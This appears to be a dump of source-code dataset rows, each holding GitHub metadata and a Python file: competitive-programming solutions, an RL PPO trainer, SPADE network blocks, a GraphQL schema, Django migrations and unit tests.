] | thomas.warfel@pnnl.gov |
dc95b43f050b1a562cd5b337aa8b009fa051bb29 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_43/223.py | e3f471696da9db5f1e2d23a13dbcff77e5f7668f | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,509 | py | #!/usr/bin/python
import os
import sys
import math
def read_input_NN(fn =""):
fh = open(fn, "r")
lines = map(lambda x: x.strip(), fh.readlines())
fh.close()
goog_N = map(int, lines[0].split())[0]
l_dict = lines[1:]
return(l_dict)
def sum_square(str1="123"):
sum1 = 0
for i in str1:
sum1 += int(i)*... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
aceb95c7fc2ae2e177bc60e8453b07a43eacbd83 | 2871a5c3d1e885ee72332dbd8ff2c015dbcb1200 | /o2despy/demos/demo2/demo2.py | 46c6865ce1c61201973f24e6aaf3a88ccd687044 | [
"MIT"
] | permissive | huawei-noah/noah-research | 297476299ad040552e44656541858145de72d141 | 82c49c36b76987a46dec8479793f7cf0150839c6 | refs/heads/master | 2023-08-16T19:29:25.439701 | 2023-08-14T03:11:49 | 2023-08-14T03:11:49 | 272,853,727 | 816 | 171 | null | 2023-09-12T01:28:36 | 2020-06-17T01:53:20 | Python | UTF-8 | Python | false | false | 2,379 | py | # Copyright (C) 2022. Huawei Technologies Co., Ltd. All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to us... | [
"noreply@github.com"
] | huawei-noah.noreply@github.com |
68d4ffaec3b27b725bd05a50989f1f215328c4b8 | 5f69a6549b8d5e417553d910622e6855b2ae679b | /projects/python/simulation/synthetic_multi_view_facial_image_generation/algorithm/Rotate_and_Render/models/networks/architecture.py | 123004ef5239c4420d42105dbf720eb77c14adc4 | [
"Apache-2.0",
"CC-BY-4.0",
"MIT"
] | permissive | opendr-eu/opendr | 822219f709613d77c5eb62c5d02808d344239835 | b3d6ce670cdf63469fc5766630eb295d67b3d788 | refs/heads/master | 2023-08-31T07:02:36.375231 | 2023-08-29T06:39:51 | 2023-08-29T06:39:51 | 293,755,225 | 535 | 82 | Apache-2.0 | 2023-09-13T16:53:34 | 2020-09-08T08:55:04 | Python | UTF-8 | Python | false | false | 7,410 | py | import torch
import torch.nn as nn
import torch.nn.functional as F
import torchvision
import torch.nn.utils.spectral_norm as spectral_norm
from .normalization import SPADE
from ...util import util
# ResNet block that uses SPADE.
# It differs from the ResNet block of pix2pixHD in that
# it takes in the segmentation ma... | [
"noreply@github.com"
] | opendr-eu.noreply@github.com |
726f81a2bbf5d4b11fa85cab9560e8742992fb7b | a0e895ec31d4b376c50e203b7a9c018c288d3287 | /hw2/random_sample_predict.py | ec22bad40ae53aa43ff9832041f1914c7f47e3ff | [] | no_license | eiahb3838ya/2018_ntu_machine_learning | 43c3885c6175c0f753d9597732b59986234c8360 | 256cfa806dc403dcc1b5eb51317cf4972de28787 | refs/heads/master | 2020-04-17T16:32:17.417827 | 2019-01-21T03:54:43 | 2019-01-21T03:54:43 | 166,744,429 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,117 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Oct 25 15:50:15 2018
@author: eiahb
"""
#import scipy,pprint
#from pprint import pprint
import numpy as np
import pandas as pd
#import matplotlib.pyplot as plt
#from sklearn.metrics import log_loss
#import datetime
from my_class.common_function import *
from imblearn.over_sa... | [
"eiahb3838ya@gmail.com"
] | eiahb3838ya@gmail.com |
6616f04e1e77a286e4ed8db783e1a8baec073a2c | c008898bf1adbba7110e0747343adbb3b01fc6c1 | /schema.py | e9c598f65df574c60c7bc23db3b509a9ea51aa43 | [] | no_license | gloompi/python-graphql | 45368fb3130dfc7d5e38614c59e638bb713706ee | 29ca5859027029f625196d13e232d3337f64ca36 | refs/heads/master | 2022-12-15T19:22:51.001813 | 2019-06-28T07:53:25 | 2019-06-28T07:53:25 | 194,230,911 | 0 | 0 | null | 2022-12-10T01:36:39 | 2019-06-28T07:46:37 | Python | UTF-8 | Python | false | false | 2,127 | py | import graphene
import json
import uuid
from datetime import datetime
class Post(graphene.ObjectType):
title = graphene.String()
content = graphene.String()
class User(graphene.ObjectType):
id = graphene.ID(default_value=str(uuid.uuid4()))
username = graphene.String()
created_at = graphene.DateT... | [
"gloompi@gmail.com"
] | gloompi@gmail.com |
d869097b1775e96d604c69bdde7348b1eb27b9c8 | ec35df4cc4543f20bd6a1d30f244f67873ecd261 | /045.py | ef73f81e6668900eb23328f490879352303165db | [] | no_license | timsergor/StillPython | 02b6ddc3226cf8d27d8575ca36e75a19cfe6ac9d | 84b3b37bc165b9daf83cca78d577b5a927e483ec | refs/heads/master | 2020-05-24T09:34:14.819413 | 2020-04-19T13:35:06 | 2020-04-19T13:35:06 | 187,209,209 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 939 | py | #202. Happy Number. Easy. 46%.
#Write an algorithm to determine if a number is "happy".
#A happy number is a number defined by the following process: Starting with any positive integer, replace the number by the sum of the squares of its digits, and repeat the process until the number equals 1 (where it will stay), or... | [
"noreply@github.com"
] | timsergor.noreply@github.com |
a78d1316c681b645f01cafd9966a4bb424491802 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03660/s310524772.py | 3b5afbbf4eb0c248015cdabad9bc34a06be65a3e | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 956 | py | N=int(input())
E=[[] for i in range(N)]
for i in range(N-1):
x,y=map(int,input().split())
x-=1
y-=1
E[x].append(y)
E[y].append(x)
from collections import deque
BACK=[-1]*N
Q=deque([0])
while Q:
x=Q.pop()
for to in E[x]:
if BACK[to]==-1:
BACK[to]=x
Q.appe... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
81b8771788890aa2f6794dde1f7552b4c07a80cd | b9b06d86d43e738b62ab9289fc13aae4c2b2670b | /weekend1/py0102/for1.py | 1f39b536774af0ab4e720cc81ddfe41afd787886 | [] | no_license | MrZhangzhg/nsd_2018 | 31a7a8d54e2cb3ff4f4eb5c736fbd76601718356 | 458a1fef40c5e15ba7689fcb3a00baf893ac0218 | refs/heads/master | 2020-04-08T19:08:48.237646 | 2019-09-08T04:31:07 | 2019-09-08T04:31:07 | 159,642,127 | 5 | 7 | null | 2019-01-04T05:33:40 | 2018-11-29T09:37:27 | Python | UTF-8 | Python | false | false | 550 | py | astr = 'tom'
alist = [10, 20]
atuple = ('tom', 'jerry')
adict = {'name': 'tom', 'age': 20}
# for ch in astr:
# print(ch)
#
# for i in alist:
# print(i)
#
# for name in atuple:
# print(name)
#
# for key in adict:
# print(key, adict[key])
# range函数
print(range(10))
print(list(range(10)))
for i in range... | [
"zhangzg@tedu.cn"
] | zhangzg@tedu.cn |
4499443d25983a3ebaa681cf359a318a7170d7ea | 845d4102771a547dbc447f1d837b89a538f977b7 | /exerciciosComCondicionais/A_CONDICIONAIS/02A_EX12.py | 66f50bc2221fc6508059fec4ac2c14b7d8b00b06 | [] | no_license | TemistoclesZwang/Algoritmo_IFPI_2020 | 16e92d6f3e5e3f15ad573819cbd0171c5a5e3f5d | cc24657864985c3894ab738692807a01eab8d377 | refs/heads/main | 2023-08-23T02:57:58.838585 | 2021-10-05T16:18:14 | 2021-10-05T16:18:14 | 310,669,249 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 287 | py | #12. Leia 1 (um) número inteiro e escreva se este número é par ou impar.
def main():
numero = int(input('Insira um número: '))
verificar(numero)
def verificar(numero):
if int(numero) % 2 == 0:
print ('É par')
else:
print ('É impar')
main()
| [
"temis2st@gmail.com"
] | temis2st@gmail.com |
a10ee01a362b58ba412f342306b973b06d970f6e | 27e18001bd40f6fe5b9f675130e359147ce3519a | /6_new.py | 936df46dcbdf08994dfeb8336bdb4e3656c3f653 | [] | no_license | jsomers/project-euler | 6934a5d4eb2c116b08face308a010ddb74e0c123 | 61cc4cd7978deeed9d071f678c786f991e05d8a7 | refs/heads/master | 2021-01-01T05:39:39.568380 | 2014-08-21T04:05:10 | 2014-08-21T04:05:10 | 10,680,061 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 195 | py | # Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.
print abs(sum([n ** 2 for n in range(1, 101)]) - sum(range(1, 101)) ** 2) | [
"jsomers@gmail.com"
] | jsomers@gmail.com |
cc81acf8488b435b9d734ab2d59a92a548f10506 | d93fe0484fc3b32c8fd9b33cc66cfd636a148ec4 | /AtCoder/diverta2/probB.py | c411fbc5ebeedd84ebac25443fcf3e2e2ee760b5 | [] | no_license | wattaihei/ProgrammingContest | 0d34f42f60fa6693e04c933c978527ffaddceda7 | c26de8d42790651aaee56df0956e0b206d1cceb4 | refs/heads/master | 2023-04-22T19:43:43.394907 | 2021-05-02T13:05:21 | 2021-05-02T13:05:21 | 264,400,706 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 977 | py | from operator import itemgetter
import numpy as np
import scipy.stats as stats
N = int(input())
xy = [list(map(int, input().split())) for _ in range(N)]
xy = sorted(xy, key=itemgetter(1))
xy = sorted(xy, key=itemgetter(0))
print(xy)
xy_a = np.array(xy)
x1 = xy_a[:, 0]
x2 = xy_a[:, 1]
def calc_mode(xi):
dl_a =... | [
"wattaihei.rapyuta@gmail.com"
] | wattaihei.rapyuta@gmail.com |
6f3964bde48bab7b7df6669392c64b4f61b28b9a | bb1d191123fc62504d048a80aec8e68000b98350 | /objectModel/Python/tests/cdm/projection/attribute_context_util.py | f6f4091ba5b0f0f9dad9000ae951fb3974926195 | [
"MIT",
"CC-BY-4.0"
] | permissive | SophieBok/CDM | abb7800add80a8962f8ae5e83f64742285dc0cec | d8df31fa455fcc6afd698e3ca7ec0f8c4a6716fd | refs/heads/master | 2023-06-28T08:18:55.025410 | 2021-07-29T22:17:49 | 2021-07-29T22:17:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,977 | py | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
import os
from typing import cast
from unittest import TestCase
from cdm.enums import CdmObjectType
from cdm.objectmodel import CdmEntityDefinition, CdmAttributeCo... | [
"cdm-publisher@outlook.com"
] | cdm-publisher@outlook.com |
01a51587d08e7eee45b2ac648941684c741f4abd | 8eab8ab725c2132bb8d090cdb2d23a5f71945249 | /virt/Lib/site-packages/jupyter_client/ioloop/restarter.py | 54f96af8d53a14c53abb5436c8a59c9e7b61c8f9 | [
"MIT"
] | permissive | JoaoSevergnini/metalpy | 6c88a413a82bc25edd9308b8490a76fae8dd76ca | c2d0098a309b6ce8c756ff840bfb53fb291747b6 | refs/heads/main | 2023-04-18T17:25:26.474485 | 2022-09-18T20:44:45 | 2022-09-18T20:44:45 | 474,773,752 | 3 | 1 | MIT | 2022-11-03T20:07:50 | 2022-03-27T22:21:01 | Python | UTF-8 | Python | false | false | 3,905 | py | """A basic in process kernel monitor with autorestarting.
This watches a kernel's state using KernelManager.is_alive and auto
restarts the kernel if it dies.
"""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
import asyncio
import time
import warnings
from traitle... | [
"joao.a.severgnini@gmail.com"
] | joao.a.severgnini@gmail.com |
7765ceccb21016a4bb1507aef9301ffcf28ddf22 | 9d123c6b87b0baf80a6fce070023e19d68048b90 | /slothql/utils/laziness.py | 1a0de52539dcd75a2ec5e2830f3abfe6a44fd19b | [
"MIT"
] | permissive | IndioInc/slothql | ea4da3727cb974360eeb3b38517ead4328687e81 | 64a574013e249968746044555bd8779ac353b13f | refs/heads/master | 2021-05-08T11:07:34.420797 | 2018-04-14T02:08:55 | 2018-04-14T02:08:55 | 119,881,523 | 2 | 0 | MIT | 2018-04-15T01:31:10 | 2018-02-01T19:16:50 | Python | UTF-8 | Python | false | false | 1,160 | py | lazy_proxy_attrs = ['_LazyInitProxy' + i for i in ('__obj', '__new', '__cls', '__args', '__kwargs', '__lazy_init')]
class LazyInitProxy:
def __init__(self, new, cls, *args, **kwargs):
self.__obj = None
self.__new = new
self.__cls = cls
self.__args = args
self.__kwargs = kwa... | [
"karol.gruszczyk@gmail.com"
] | karol.gruszczyk@gmail.com |
c6924b59c81ca5e1180e6818f3e2b742947490af | c50e7eb190802d7849c0d0cea02fb4d2f0021777 | /src/spring-cloud/azext_spring_cloud/__init__.py | f1f6829e24f83bb03b037a169d016f4c6295b128 | [
"LicenseRef-scancode-generic-cla",
"MIT"
] | permissive | Azure/azure-cli-extensions | c1615b19930bba7166c282918f166cd40ff6609c | b8c2cf97e991adf0c0a207d810316b8f4686dc29 | refs/heads/main | 2023-08-24T12:40:15.528432 | 2023-08-24T09:17:25 | 2023-08-24T09:17:25 | 106,580,024 | 336 | 1,226 | MIT | 2023-09-14T10:48:57 | 2017-10-11T16:27:31 | Python | UTF-8 | Python | false | false | 1,614 | py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | [
"noreply@github.com"
] | Azure.noreply@github.com |
20e79c2fadd832d61fd5bea20ef637c8f7e01edc | 53e4a89e8baeb715f10b33304be028e906e58583 | /practice.py | d434fefa456bfbb3d8eb507660a7137ff77e4ce5 | [] | no_license | eodnjs467/python | 9a9cf2c82a6c64d839c4de4bc38fe3df14f11f5d | 67b2a770526f4c4161bcf06042eea3054a30b3fc | refs/heads/master | 2020-09-30T20:33:51.627921 | 2020-04-12T15:13:47 | 2020-04-12T15:13:47 | 227,368,131 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 806 | py | import itertools
def solution(M, load):
a=[]
count = 0
M = input("트럭에 실을 수 있는 최대 무게를 설정해주세요.")
if M>40: print("40이하로 입력하세요")
load = input("[1,2,3,4,5,6] 처럼 입력하세요 최대 12개 ")
for index in range(len(load)):
if load[index] > 12:
print("12이하로 설정하세요")
count = count+1... | [
"sponjjanc@naver.com"
] | sponjjanc@naver.com |
48dafa5e87dcad260228db02752c101b9cd39502 | eae6dddca9285702c4c7ed6ba6bdaceef9631df2 | /CCC-2018/Senior/Senior-1/S1.py | a7e1fce447c03ec8b63cb22e911da9b2757d0261 | [] | no_license | simrit1/CCC-Solutions-2 | 7823ce14801c4219f6f1dd4c42fb013c2dfc45dd | ee2883aa38f933e526ce187d50ca68763876cb58 | refs/heads/master | 2023-07-04T02:19:37.320261 | 2021-08-07T22:12:36 | 2021-08-07T22:12:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 710 | py | # CCC 2018 Senior 1: Voronoi Villages
#
# Author: Charles Chen
#
# Arrays and calculations
# Initialize variables
min_size = 20000000000
size_left = 0
size_right = 0
total_size = 0
# Input
points = []
num_villages = int(input())
for i in range(num_villages):
points.append(int(input()))
# Sort t... | [
"noreply@github.com"
] | simrit1.noreply@github.com |
f1997085668d1db3776b1d54457a43aacfbba33c | 3cb0f57347d06d976ae49812fa383e8845475c62 | /WebServices/trunk/setup.py | 0774bdab90c2feba99bbb78d8f7ceb7a7f8dc7e6 | [] | no_license | UfSoft/ISPManCCP-V2 | 9aa99731e54c39fd05ed5cf969e2e3dcbd444f7e | 1521cea43254d017129b07c07266a0e3bfd64ab1 | refs/heads/master | 2021-01-10T20:26:42.282246 | 2008-05-10T15:13:56 | 2008-05-10T15:13:56 | 26,618,633 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 637 | py | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(
name='ISPManWebServices',
version='0.1',
description='WebServices backend to ISPMan',
author='Pedro Algarvio',
author_email='ufs@ufsoft.org',
# url='',
install_requires=["Pylons>=0.9.6.1"],
packages=find_packages(e... | [
"ufs@ufsoft.org"
] | ufs@ufsoft.org |
9f5d1f6f7e14b928ee57ce640f3ef14235c95b2f | 339dbd84a793588d7c278e2c68c08fff6cdd7b5a | /ImuData/ImuPreProcess.py | 25817f3b675e881527a31405d7b2a963fa14e676 | [] | no_license | wystephen/LightPythonProject | 3a7f2b31f1d8a2da109bb6e0783dd996d2ffaa12 | d2a356029a18ce428b3e33622f9ce1de3f8907c1 | refs/heads/master | 2021-04-27T03:57:09.016236 | 2018-04-03T02:51:37 | 2018-04-03T02:51:37 | 122,722,155 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,429 | py | # -*- coding:utf-8 -*-
# carete by steve at 2018 / 03 / 03 13:44
import numpy as np
import scipy as sp
import matplotlib.pyplot as plt
import re
import time
import datetime
class imuread:
def __init__(self, file_name='MT_07700791-003-000.csv'):
self.file_name = file_name
def load(self):
f... | [
"551619855@qq.com"
] | 551619855@qq.com |
fed51cebf5fbf3c46d9c33bc71716accfdcaad96 | 53def173f44b9665d1194195577c50058c1f698a | /angstromctf/2020/misc/msd/solve.py | bbc29a69de3b8584e6a90560da9c5fc093b7af47 | [] | no_license | blairsec/challenges | 3558f2b7f6866718c4f1ad026d84b6651e31e7d0 | 928345a6175adf0e88017b28fe895bc924527853 | refs/heads/master | 2023-05-24T09:44:17.779099 | 2023-05-17T17:03:34 | 2023-05-17T17:03:34 | 184,929,220 | 17 | 6 | null | 2023-03-03T17:21:31 | 2019-05-04T18:12:01 | JavaScript | UTF-8 | Python | false | false | 790 | py | from PIL import Image
im = Image.open("output.png")
im2 = Image.open("breathe.jpg")
width, height = im.size
def decode(i, compare):
i = list(str(i).zfill(len(str(compare))))
return i[0]
s = ""
for j in range(height):
for i in range(width):
data = []
for a, compare in zip(im.ge... | [
"github@kevinhiggs.com"
] | github@kevinhiggs.com |
02392e079a451cabcac5107b47c21e5b66bc1c35 | 515e45025082ffbfda960635e31f99c4ca1aa7d8 | /src/html5_parser/stdlib_etree.py | 8fd1a4e10e7347e79a7c21a3e752c474e3806553 | [
"Apache-2.0"
] | permissive | kovidgoyal/html5-parser | 62a3e626cba563076c7503fafb2fd83c506c61dd | ef7d4af932293fa04c3ac78a77b7fb2f0ac2f26d | refs/heads/master | 2023-05-30T09:44:52.629086 | 2023-04-12T05:07:46 | 2023-04-12T05:07:46 | 93,229,662 | 714 | 42 | Apache-2.0 | 2021-07-26T13:23:04 | 2017-06-03T06:56:36 | C | UTF-8 | Python | false | false | 1,525 | py | #!/usr/bin/env python
# vim:fileencoding=utf-8
# License: Apache 2.0 Copyright: 2017, Kovid Goyal <kovid at kovidgoyal.net>
from __future__ import absolute_import, division, print_function, unicode_literals
import sys
from lxml.etree import _Comment
if sys.version_info.major < 3:
from xml.etree.cElementTree imp... | [
"kovid@kovidgoyal.net"
] | kovid@kovidgoyal.net |
8202d586e8a0a42e46ec0f99eeaa08e3b64a791a | 01ab44468c01151020031de57402a08c76d8efb6 | /App/migrations/0006_tweets_time.py | 0911cdd9a48f8b4b454465905453ad8dbfe208ad | [] | no_license | Chukslord1/Arctype_Tweets_Heatmap | 33c46d8d7a7ac24d05e3cda7e6c7525111d05257 | 16e377dfc215be46786e17e4cf35e89a2b7f4395 | refs/heads/main | 2023-06-19T22:59:53.127630 | 2021-07-19T01:00:32 | 2021-07-19T01:00:32 | 376,182,168 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 523 | py | # Generated by Django 3.1.7 on 2021-06-16 03:31
import datetime
from django.db import migrations, models
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('App', '0005_auto_20210615_2339'),
]
operations = [
migrations.AddField(
mo... | [
"chukslord1@gmail.com"
] | chukslord1@gmail.com |
8903f5552458a212377dedd24f393aca93c9b316 | 961d2a56c1f573edebb6d67b6d5874b10ce01791 | /focusgroups/migrations/0002_auto_20160905_1705.py | 98d6390d8dbec20b23e09963f1e037db8c19bd4a | [
"MIT"
] | permissive | CARocha/ciatEspecies | d7dbf4ba09e4c9255dc2eab2eaa905960d7e96c7 | 10777d9487dd3658388243c304dd640b476cb3e3 | refs/heads/master | 2020-04-06T07:11:40.607520 | 2016-09-06T19:29:19 | 2016-09-06T19:29:19 | 60,646,256 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 773 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.7 on 2016-09-05 17:05
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('focusgroups', '0001_initial'),
]
operations = [
... | [
"erickmurillo22@gmail.com"
] | erickmurillo22@gmail.com |
985214f3ae0e8d102213d315bb2b7881b582a8f8 | db14851d3eca5fd09277715c3a0558a5f5d5894c | /dot2svg.py | 788a2be68d0f24d6c5511d6fe44e7a36cd4c5b5b | [] | no_license | marxin/script-misc | 916c007308a9ea350ade256dde0a682349a964e4 | 06f5c418b8bc4e28d5e04e3cf475f680ed7781c3 | refs/heads/master | 2023-08-23T13:13:30.567072 | 2023-08-22T14:22:59 | 2023-08-22T14:22:59 | 10,321,279 | 8 | 1 | null | 2021-03-20T10:56:59 | 2013-05-27T19:33:40 | C++ | UTF-8 | Python | false | false | 174 | py | #!/usr/bin/env python3
import glob
import subprocess
for f in sorted(glob.glob('*.dot')):
print(f)
subprocess.check_output(f'dot -Tsvg {f} -o {f}.svg', shell=True)
| [
"mliska@suse.cz"
] | mliska@suse.cz |
7c547c68f98a736486c122985b30d5e935e0a74a | 0afd765c0a3c06e6c893782fc8bd9d5bd4eac20d | /synchronized_ppo_CartPole/ppo.py | 1833d0999b1f725abd3b3573d428aea6112e227c | [] | no_license | chagmgang/synch_pysc2 | fdcb2bbb36c81af6ac2c31183b02f26aee33d739 | 57ca1e533446b1ed61c4d3d432d47d293148b6be | refs/heads/master | 2020-03-19T15:40:24.573995 | 2018-07-02T05:36:35 | 2018-07-02T05:36:35 | 136,680,870 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,480 | py | import tensorflow as tf
import copy
class PPOTrain:
def __init__(self, Policy, Old_Policy, gamma=0.95, clip_value=0.2, c_1=1, c_2=0.01):
"""
:param Policy:
:param Old_Policy:
:param gamma:
:param clip_value:
:param c_1: parameter for value difference
... | [
"chagmgang@gmail.com"
] | chagmgang@gmail.com |
e09eefe38c46144b260e759163fdbc18fd82f227 | 1b8fba01309da37f8d0ff408765c1d545fc588d6 | /tests/modeling/test_nms.py | 56bdfdf0b14eb53c31feaaf464bd4eee1bfa11fd | [
"Apache-2.0"
] | permissive | supriyar/d2go | 9bd54bcb2704c91d7bf0d5fceab2ac4f23d59346 | 9dc1600b05ecf60fab556599b4c0bc6c32837449 | refs/heads/main | 2023-08-11T16:19:50.578547 | 2021-10-01T17:43:32 | 2021-10-01T17:44:49 | 413,646,825 | 0 | 0 | Apache-2.0 | 2021-10-05T02:20:59 | 2021-10-05T02:20:58 | null | UTF-8 | Python | false | false | 7,617 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
import unittest
import numpy as np
import torch
from detectron2.layers import nms as box_nms
class TestNMS(unittest.TestCase):
def test_nms_cpu(self):
"""Match unit test UtilsNMSTest.TestNMS in
caffe2/... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
6beb23d647745a308be0869da61a993aa0aff98b | ccf94dcb6b1500fcbbd56964ae8c4832a496b8b3 | /python/baiduads-sdk-auto/test/test_get_hit_customer_policy_response_wrapper.py | 00a7cf98be3ac3940848931d77db3651c4cc6030 | [
"Apache-2.0"
] | permissive | baidu/baiduads-sdk | 24c36b5cf3da9362ec5c8ecd417ff280421198ff | 176363de5e8a4e98aaca039e4300703c3964c1c7 | refs/heads/main | 2023-06-08T15:40:24.787863 | 2023-05-20T03:40:51 | 2023-05-20T03:40:51 | 446,718,177 | 16 | 11 | Apache-2.0 | 2023-06-02T05:19:40 | 2022-01-11T07:23:17 | Python | UTF-8 | Python | false | false | 1,158 | py | """
dev2 api schema
'dev2.baidu.com' api schema # noqa: E501
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import baiduads
from baiduads.common.model.api_response_header import ApiResponseHeader
from baiduads.shieldfunction.model.get_hit_customer_policy_response_wrapper_body ... | [
"tokimekiyxp@foxmail.com"
] | tokimekiyxp@foxmail.com |
911ca58c9609243397f7590c354a1e147e710862 | c4edcdff1a4ebe45e7198aaf65caf3a1f71053ab | /git_version/migrations/0001_initial.py | 4d5f800ce654c259c96cf37e3a2aabd9f1291b5b | [] | no_license | FriskByBergen/friskby | 5584cb2ea099e2c0fecd4762f56effc714fd06ee | 7a444af87c23ffd6b638055e49ccd608efcd3ee6 | refs/heads/master | 2020-05-21T15:09:43.367245 | 2017-06-06T17:48:58 | 2017-06-06T17:48:58 | 45,236,960 | 3 | 10 | null | 2017-06-06T17:48:59 | 2015-10-30T07:58:33 | Python | UTF-8 | Python | false | false | 809 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-05-30 05:41
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='GitVers... | [
"joakim.hove@gmail.com"
] | joakim.hove@gmail.com |
a86d76d1dc046199d8b9687e4fd0dd3c904cc787 | 54d8a05e0238e96eb43e4893bacba024e490bf11 | /python-projects/algo_and_ds/prime_factoras.py | bbf5b73c210c45398fd5235ff4e25e5c40b05128 | [] | no_license | infinite-Joy/programming-languages | 6ce05aa03afd7edeb0847c2cc952af72ad2db21e | 0dd3fdb679a0052d6d274d19040eadd06ae69cf6 | refs/heads/master | 2023-05-29T10:34:44.075626 | 2022-07-18T13:53:02 | 2022-07-18T13:53:02 | 30,753,185 | 3 | 5 | null | 2023-05-22T21:54:46 | 2015-02-13T11:14:25 | Jupyter Notebook | UTF-8 | Python | false | false | 707 | py | # find the prime factors based on the geeks for geeks tut
from math import sqrt
def is_prime(n):
if n == 1: return 1
if n == 2: return True
if n == 3: return True
if n % 2 == 0 or n % 3 == 0:
return False
for i in range(5, int(sqrt(n)), 6):
if (n % i == 0) or (n % (i + 2) == 0):
... | [
"joydeepubuntu@gmail.com"
] | joydeepubuntu@gmail.com |
b8688c90ac225fe9f656e6f7b494f754c01ab1bd | f02e654d5590a861804e3220ed76ba2192e1699b | /simulator/selectionmanager.py | 9ad5c1ccfd532073cda2be6ad7e765cab0e059be | [
"BSD-3-Clause"
] | permissive | AmarNathH/software | 73e2afd3affaf2c1595b406480edac8b8fb2fcac | e225810c7501250f48add43349a64f49450cc79f | refs/heads/master | 2020-12-02T20:50:18.439874 | 2017-07-03T16:51:07 | 2017-07-03T16:51:07 | 96,219,939 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,940 | py |
from direct.showbase.DirectObject import DirectObject
from panda3d.core import KeyboardButton
from panda3d.core import MouseButton
from panda3d.core import NodePath
from panda3d.core import Point3
from panda3d.core import Vec4
from mouseevent import MouseEventListener
from selectionengine import SelectionEngine
from... | [
"software@cuauv.org"
] | software@cuauv.org |
bcc70fcaea7e68b2cda51f40ce9e39dcc644bcae | 8f0b0ec0a0a2db00e2134b62a1515f0777d69060 | /scripts/study_case/ID_4/test/utils/test_random.py | 8fd3068976605ffd63ea7b8c208e9a7cd2274945 | [
"Apache-2.0",
"MIT"
] | permissive | Liang813/GRIST | 2add5b4620c3d4207e7661eba20a79cfcb0022b5 | 544e843c5430abdd58138cdf1c79dcf240168a5f | refs/heads/main | 2023-06-09T19:07:03.995094 | 2021-06-30T05:12:19 | 2021-06-30T05:12:19 | 429,016,034 | 0 | 0 | Apache-2.0 | 2021-11-17T11:19:48 | 2021-11-17T11:19:47 | null | UTF-8 | Python | false | false | 1,382 | py | import torch
import numpy as np
from scripts.study_case.ID_4.torch_geometric.utils import (
erdos_renyi_graph, stochastic_blockmodel_graph, barabasi_albert_graph)
def test_erdos_renyi_graph():
torch.manual_seed(1234)
edge_index = erdos_renyi_graph(5, 0.2, directed=False)
assert edge_index.tolist() == ... | [
"793679547@qq.com"
] | 793679547@qq.com |
b0140e72078c2d355dadca3442139240028b1641 | d6d6e3bebfca91ae10d1a269ec7d060a6bf3c8cd | /RMB_Classify/__init__.py | f0fbf238946ec3f152a96441fbb9ccf096fb845b | [] | no_license | darrenzhang1007/PyTorch_From_Zero_To_One | a1bb939cafd546e4625b0df0123c0f86d2af6499 | b94e1cca2e28fb22accd2eee859d13e9e7bc25f2 | refs/heads/master | 2022-10-17T03:53:42.388743 | 2020-06-11T07:54:33 | 2020-06-11T07:54:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 174 | py | # -*- coding: utf-8 -*-
# @Time : 2020/5/4 14:45
# @Author : DarrenZhang
# @FileName: __init__.py.py
# @Software: PyCharm
# @Blog :https://www.yuque.com/darrenzhang
| [
"785320051@qq.com"
] | 785320051@qq.com |
